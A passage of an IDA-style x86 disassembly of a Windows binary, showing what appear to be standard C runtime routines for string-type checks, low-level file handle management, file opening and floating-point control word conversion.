		test	eax, eax
		jz	short loc_41FBB0
		mov	eax, esi
		jmp	short loc_41FBCD
; ---------------------------------------------------------------------------

loc_41FBB0:				; CODE XREF: sub_41FB63+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_43C824
		push	esi
		push	ebx
		call	ds:dword_42402C	; GetStringTypeA
		test	eax, eax
		jz	loc_41FC98
		push	2
		pop	eax

loc_41FBCD:				; CODE XREF: sub_41FB63+4Bj
		mov	ds:dword_48A1DC, eax

loc_41FBD2:				; CODE XREF: sub_41FB63+2Fj
		cmp	eax, 2
		jnz	short loc_41FBFB
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41FBE3
		mov	eax, ds:dword_48A0A8

loc_41FBE3:				; CODE XREF: sub_41FB63+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	ds:dword_42402C	; GetStringTypeA
		jmp	loc_41FC9A
; ---------------------------------------------------------------------------

loc_41FBFB:				; CODE XREF: sub_41FB63+72j
		cmp	eax, 1
		jnz	loc_41FC98
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41FC11
		mov	eax, ds:dword_48A0B8
		mov	[ebp+arg_10], eax

loc_41FC11:				; CODE XREF: sub_41FB63+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	ds:dword_424070	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41FC98
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_41FC67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi

loc_41FC67:				; CODE XREF: sub_41FB63+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41FC98
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	ds:dword_424070	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_41FC98
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_424028	; GetStringTypeW
		jmp	short loc_41FC9A
; ---------------------------------------------------------------------------

loc_41FC98:				; CODE XREF: sub_41FB63+61j
					; sub_41FB63+9Bj ...
		xor	eax, eax

loc_41FC9A:				; CODE XREF: sub_41FB63+93j
					; sub_41FB63+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FB63	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCAC	proc near		; CODE XREF: sub_41FEC6:loc_42003Ep
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_48B340

loc_41FCBB:				; CODE XREF: sub_41FCAC+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41FCF8
		lea	edx, [eax+100h]

loc_41FCC7:				; CODE XREF: sub_41FCAC+28j
		cmp	eax, edx
		jnb	short loc_41FCE7
		test	byte ptr [eax+4], 1
		jz	short loc_41FCD6
		add	eax, 8
		jmp	short loc_41FCC7
; ---------------------------------------------------------------------------

loc_41FCD6:				; CODE XREF: sub_41FCAC+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41FD3B

loc_41FCE7:				; CODE XREF: sub_41FCAC+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_48B440
		jl	short loc_41FCBB
		jmp	short loc_41FD3B
; ---------------------------------------------------------------------------

loc_41FCF8:				; CODE XREF: sub_41FCAC+13j
		mov	esi, 100h
		push	esi
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41FD3B
		add	ds:dword_48B440, 20h
		lea	ecx, ds:48B340h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax

loc_41FD1E:				; CODE XREF: sub_41FCAC+88j
		cmp	eax, edx
		jnb	short loc_41FD36
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41FD1E
; ---------------------------------------------------------------------------

loc_41FD36:				; CODE XREF: sub_41FCAC+74j
		shl	edi, 5
		mov	ebx, edi

loc_41FD3B:				; CODE XREF: sub_41FCAC+39j
					; sub_41FCAC+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41FCAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD41	proc near		; CODE XREF: sub_41FEC6+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, ds:dword_48B440
		push	edi
		jnb	short loc_41FDA1
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:48B340h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41FDA1
		cmp	ds:dword_439594, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41FD97
		sub	eax, 0
		jz	short loc_41FD8E
		dec	eax
		jz	short loc_41FD89
		dec	eax
		jnz	short loc_41FD97
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------

loc_41FD89:				; CODE XREF: sub_41FD41+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41FD91
; ---------------------------------------------------------------------------

loc_41FD8E:				; CODE XREF: sub_41FD41+3Bj
		push	ebx
		push	0FFFFFFF6h

loc_41FD91:				; CODE XREF: sub_41FD41+46j
					; sub_41FD41+4Bj
		call	ds:dword_424024	; SetStdHandle

loc_41FD97:				; CODE XREF: sub_41FD41+36j
					; sub_41FD41+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41FDB5
; ---------------------------------------------------------------------------

loc_41FDA1:				; CODE XREF: sub_41FD41+Cj
					; sub_41FD41+28j
		and	ds:dword_48A018, 0
		mov	ds:dword_48A014, 9
		or	eax, 0FFFFFFFFh

loc_41FDB5:				; CODE XREF: sub_41FD41+5Ej
		pop	edi
		pop	esi
		retn
sub_41FD41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FDB8	proc near		; CODE XREF: sub_41A6B7+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, ds:dword_48B440
		push	edi
		jnb	short loc_41FE1B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41FE1B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41FE1B
		cmp	ds:dword_439594, 1
		jnz	short loc_41FE11
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41FE08
		dec	ecx
		jz	short loc_41FE03
		dec	ecx
		jnz	short loc_41FE11
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------

loc_41FE03:				; CODE XREF: sub_41FDB8+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41FE0B
; ---------------------------------------------------------------------------

loc_41FE08:				; CODE XREF: sub_41FDB8+3Ej
		push	eax
		push	0FFFFFFF6h

loc_41FE0B:				; CODE XREF: sub_41FDB8+49j
					; sub_41FDB8+4Ej
		call	ds:dword_424024	; SetStdHandle

loc_41FE11:				; CODE XREF: sub_41FDB8+38j
					; sub_41FDB8+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41FE2F
; ---------------------------------------------------------------------------

loc_41FE1B:				; CODE XREF: sub_41FDB8+Cj
					; sub_41FDB8+2Aj ...
		and	ds:dword_48A018, 0
		mov	ds:dword_48A014, 9
		or	eax, 0FFFFFFFFh

loc_41FE2F:				; CODE XREF: sub_41FDB8+61j
		pop	edi
		pop	esi
		retn
sub_41FDB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE32	proc near		; CODE XREF: sub_41A6B7+32p
					; sub_41A6B7+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_48B440
		jnb	short loc_41FE5A
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_48B340[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41FE5A
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------

loc_41FE5A:				; CODE XREF: sub_41FE32+Aj
					; sub_41FE32+23j
		and	ds:dword_48A018, 0
		mov	ds:dword_48A014, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41FE32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE6F	proc near		; CODE XREF: sub_41A795+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_48B440
		jnb	short loc_41FEB8
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, ds:dword_48B340[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41FEB8
		push	eax
		call	sub_41FE32
		pop	ecx
		push	eax
		call	ds:dword_424020	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_41FEAD
		call	ds:dword_42408C	; RtlGetLastWin32Error
		jmp	short loc_41FEAF
; ---------------------------------------------------------------------------

loc_41FEAD:				; CODE XREF: sub_41FE6F+34j
		xor	eax, eax

loc_41FEAF:				; CODE XREF: sub_41FE6F+3Cj
		test	eax, eax
		jz	short locret_41FEC5
		mov	ds:dword_48A018, eax

loc_41FEB8:				; CODE XREF: sub_41FE6F+Aj
					; sub_41FE6F+22j
		mov	ds:dword_48A014, 9
		or	eax, 0FFFFFFFFh

locret_41FEC5:				; CODE XREF: sub_41FE6F+42j
		retn
sub_41FE6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEC6	proc near		; CODE XREF: sub_41A96C+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41FEEC
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41FEF7
; ---------------------------------------------------------------------------

loc_41FEEC:				; CODE XREF: sub_41FEC6+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1

loc_41FEF7:				; CODE XREF: sub_41FEC6+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41FF11
		test	ch, 40h
		jnz	short loc_41FF0D
		cmp	ds:dword_48A2E8, eax
		jz	short loc_41FF11

loc_41FF0D:				; CODE XREF: sub_41FEC6+3Dj
		or	[ebp+var_1], 80h

loc_41FF11:				; CODE XREF: sub_41FEC6+38j
					; sub_41FEC6+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41FF49
		dec	eax
		jz	short loc_41FF40
		dec	eax
		jz	short loc_41FF37

loc_41FF22:				; CODE XREF: sub_41FEC6+9Fj
					; sub_41FEC6+E8j ...
		mov	ds:dword_48A014, 16h
		mov	ds:dword_48A018, ebx
		jmp	loc_42015C
; ---------------------------------------------------------------------------

loc_41FF37:				; CODE XREF: sub_41FEC6+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------

loc_41FF40:				; CODE XREF: sub_41FEC6+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41FF50
; ---------------------------------------------------------------------------

loc_41FF49:				; CODE XREF: sub_41FEC6+54j
		mov	[ebp+var_C], 80000000h

loc_41FF50:				; CODE XREF: sub_41FEC6+78j
					; sub_41FEC6+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41FF7E
		cmp	eax, 20h
		jz	short loc_41FF75
		cmp	eax, 30h
		jz	short loc_41FF6C
		cmp	eax, 40h
		jnz	short loc_41FF22
		mov	[ebp+var_10], esi
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------

loc_41FF6C:				; CODE XREF: sub_41FEC6+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------

loc_41FF75:				; CODE XREF: sub_41FEC6+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41FF81
; ---------------------------------------------------------------------------

loc_41FF7E:				; CODE XREF: sub_41FEC6+90j
		mov	[ebp+var_10], ebx

loc_41FF81:				; CODE XREF: sub_41FEC6+A4j
					; sub_41FEC6+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41FFCB
		jz	short loc_41FFC6
		cmp	ecx, ebx
		jz	short loc_41FFC6
		cmp	ecx, edi
		jz	short loc_41FFBD
		cmp	ecx, 200h
		jz	short loc_41FFE4
		cmp	ecx, 300h
		jnz	loc_41FF22
		mov	[ebp+var_8], 2
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFBD:				; CODE XREF: sub_41FEC6+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFC6:				; CODE XREF: sub_41FEC6+D0j
					; sub_41FEC6+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFCB:				; CODE XREF: sub_41FEC6+CEj
		cmp	ecx, 500h
		jz	short loc_41FFED
		cmp	ecx, 600h
		jz	short loc_41FFE4
		cmp	ecx, edx
		jz	short loc_41FFED
		jmp	loc_41FF22
; ---------------------------------------------------------------------------

loc_41FFE4:				; CODE XREF: sub_41FEC6+E0j
					; sub_41FEC6+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41FFF4
; ---------------------------------------------------------------------------

loc_41FFED:				; CODE XREF: sub_41FEC6+10Bj
					; sub_41FEC6+117j
		mov	[ebp+var_8], 1

loc_41FFF4:				; CODE XREF: sub_41FEC6+F5j
					; sub_41FEC6+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_420013
		mov	ecx, ds:dword_48A01C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_420013
		push	1
		pop	esi

loc_420013:				; CODE XREF: sub_41FEC6+138j
					; sub_41FEC6+148j
		test	al, 40h
		jz	short loc_420021
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1

loc_420021:				; CODE XREF: sub_41FEC6+14Fj
		test	ah, 10h
		jz	short loc_420028
		or	esi, edi

loc_420028:				; CODE XREF: sub_41FEC6+15Ej
		test	al, 20h
		jz	short loc_420034
		or	esi, 8000000h
		jmp	short loc_42003E
; ---------------------------------------------------------------------------

loc_420034:				; CODE XREF: sub_41FEC6+164j
		test	al, 10h
		jz	short loc_42003E
		or	esi, 10000000h

loc_42003E:				; CODE XREF: sub_41FEC6+16Cj
					; sub_41FEC6+170j
		call	sub_41FCAC
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_42005F
		and	ds:dword_48A018, 0
		mov	ds:dword_48A014, 18h
		jmp	short loc_42009D
; ---------------------------------------------------------------------------

loc_42005F:				; CODE XREF: sub_41FEC6+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	ds:off_424084
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_420090
		push	esi
		call	ds:dword_424030	; GetFileType
		test	eax, eax
		jnz	short loc_4200A4
		push	esi
		call	ds:off_424078

loc_420090:				; CODE XREF: sub_41FEC6+1B6j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		call	sub_41EF44
		pop	ecx

loc_42009D:				; CODE XREF: sub_41FEC6+197j
		mov	eax, edi
		jmp	loc_42017A
; ---------------------------------------------------------------------------

loc_4200A4:				; CODE XREF: sub_41FEC6+1C1j
		cmp	eax, 2
		jnz	short loc_4200AF
		or	[ebp+var_1], 40h
		jmp	short loc_4200B8
; ---------------------------------------------------------------------------

loc_4200AF:				; CODE XREF: sub_41FEC6+1E1j
		cmp	eax, 3
		jnz	short loc_4200B8
		or	[ebp+var_1], 8

loc_4200B8:				; CODE XREF: sub_41FEC6+1E7j
					; sub_41FEC6+1ECj
		push	esi
		push	ebx
		call	sub_41FD41
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:48B340h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_420161
		test	al, 80h
		jz	short loc_420161
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_420161
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_420116
		cmp	ds:dword_48A018, 83h
		jz	short loc_420161
		jmp	short loc_420155
; ---------------------------------------------------------------------------

loc_420116:				; CODE XREF: sub_41FEC6+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41E321
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420143
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_420143
		push	[ebp+var_10]
		push	ebx
		call	sub_4211F1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_420155

loc_420143:				; CODE XREF: sub_41FEC6+265j
					; sub_41FEC6+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_420161

loc_420155:				; CODE XREF: sub_41FEC6+24Ej
					; sub_41FEC6+27Bj
		push	ebx
		call	sub_41A6B7
		pop	ecx

loc_42015C:				; CODE XREF: sub_41FEC6+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_42017A
; ---------------------------------------------------------------------------

loc_420161:				; CODE XREF: sub_41FEC6+221j
					; sub_41FEC6+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_420178
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_420178
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]

loc_420178:				; CODE XREF: sub_41FEC6+29Fj
					; sub_41FEC6+2A5j
		mov	eax, ebx

loc_42017A:				; CODE XREF: sub_41FEC6+1D9j
					; sub_41FEC6+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42017F	proc near		; CODE XREF: sub_41C50A+52p
		xor	eax, eax
		retn
sub_42017F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420182	proc near		; CODE XREF: sub_4201B7+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_4201CD
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42025F
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_420182	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201B7	proc near		; CODE XREF: sub_41C7F6+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_420182
		pop	ecx
		pop	ecx
		retn
sub_4201B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201CD	proc near		; CODE XREF: sub_420182+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_4201DE
		push	10h
		pop	eax

loc_4201DE:				; CODE XREF: sub_4201CD+Cj
		test	bl, 4
		jz	short loc_4201E5
		or	al, 8

loc_4201E5:				; CODE XREF: sub_4201CD+14j
		test	bl, 8
		jz	short loc_4201EC
		or	al, 4

loc_4201EC:				; CODE XREF: sub_4201CD+1Bj
		test	bl, 10h
		jz	short loc_4201F3
		or	al, 2

loc_4201F3:				; CODE XREF: sub_4201CD+22j
		test	bl, 20h
		jz	short loc_4201FA
		or	al, 1

loc_4201FA:				; CODE XREF: sub_4201CD+29j
		test	bl, 2
		jz	short loc_420204
		or	eax, 80000h

loc_420204:				; CODE XREF: sub_4201CD+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_42023C
		cmp	edx, 400h
		jz	short loc_420239
		cmp	edx, 800h
		jz	short loc_420235
		cmp	edx, esi
		jnz	short loc_42023C
		or	eax, edi
		jmp	short loc_42023C
; ---------------------------------------------------------------------------

loc_420235:				; CODE XREF: sub_4201CD+5Ej
		or	eax, ebp
		jmp	short loc_42023C
; ---------------------------------------------------------------------------

loc_420239:				; CODE XREF: sub_4201CD+56j
		or	ah, 1

loc_42023C:				; CODE XREF: sub_4201CD+4Ej
					; sub_4201CD+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_42024C
		cmp	ecx, ebp
		jnz	short loc_420251
		or	eax, 10000h
		jmp	short loc_420251
; ---------------------------------------------------------------------------

loc_42024C:				; CODE XREF: sub_4201CD+72j
		or	eax, 20000h

loc_420251:				; CODE XREF: sub_4201CD+76j
					; sub_4201CD+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42025E
		or	eax, 40000h

locret_42025E:				; CODE XREF: sub_4201CD+8Aj
		retn
sub_4201CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42025F	proc near		; CODE XREF: sub_420182+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42026F
		push	1
		pop	eax

loc_42026F:				; CODE XREF: sub_42025F+Bj
		test	bl, 8
		jz	short loc_420276
		or	al, 4

loc_420276:				; CODE XREF: sub_42025F+13j
		test	bl, 4
		jz	short loc_42027D
		or	al, 8

loc_42027D:				; CODE XREF: sub_42025F+1Aj
		test	bl, 2
		jz	short loc_420284
		or	al, 10h

loc_420284:				; CODE XREF: sub_42025F+21j
		test	bl, 1
		jz	short loc_42028B
		or	al, 20h

loc_42028B:				; CODE XREF: sub_42025F+28j
		test	ebx, 80000h
		jz	short loc_420295
		or	al, 2

loc_420295:				; CODE XREF: sub_42025F+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_4202C2
		cmp	ecx, 100h
		jz	short loc_4202BF
		cmp	ecx, esi
		jz	short loc_4202BA
		cmp	ecx, edx
		jnz	short loc_4202C2
		or	ah, 0Ch
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------

loc_4202BA:				; CODE XREF: sub_42025F+50j
		or	ah, 8
		jmp	short loc_4202C2
; ---------------------------------------------------------------------------

loc_4202BF:				; CODE XREF: sub_42025F+4Cj
		or	ah, 4

loc_4202C2:				; CODE XREF: sub_42025F+44j
					; sub_42025F+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_4202D8
		cmp	ecx, 10000h
		jnz	short loc_4202DA
		or	eax, esi
		jmp	short loc_4202DA
; ---------------------------------------------------------------------------

loc_4202D8:				; CODE XREF: sub_42025F+6Bj
		or	eax, edx

loc_4202DA:				; CODE XREF: sub_42025F+73j
					; sub_42025F+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_4202E7
		or	ah, 10h

locret_4202E7:				; CODE XREF: sub_42025F+83j
		retn
sub_42025F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202E8	proc near		; CODE XREF: sub_420387+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_42032D
		inc	esi
		cmp	esi, 3
		jge	short loc_420328
		lea	eax, [eax+esi*4]

loc_42031A:				; CODE XREF: sub_4202E8+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_42032D
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_42031A

loc_420328:				; CODE XREF: sub_4202E8+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42032D:				; CODE XREF: sub_4202E8+27j
					; sub_4202E8+35j
		xor	eax, eax
		pop	esi
		retn
sub_4202E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_420331	proc near		; CODE XREF: sub_420387+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		js	short loc_420383
		lea	edi, [ebx+esi*4]

loc_42036A:				; CODE XREF: sub_420331+50j
		test	eax, eax
		jz	short loc_420383
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_421337
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_42036A

loc_420383:				; CODE XREF: sub_420331+34j
					; sub_420331+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_420331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420387	proc near		; CODE XREF: sub_4204E2+81p
					; sub_4204E2+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_4203EB
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_4202E8
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4203E8
		push	edi
		push	[ebp+arg_0]
		call	sub_420331
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx

loc_4203E8:				; CODE XREF: sub_420387+51j
		mov	eax, [ebp+arg_4]

loc_4203EB:				; CODE XREF: sub_420387+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_42040B
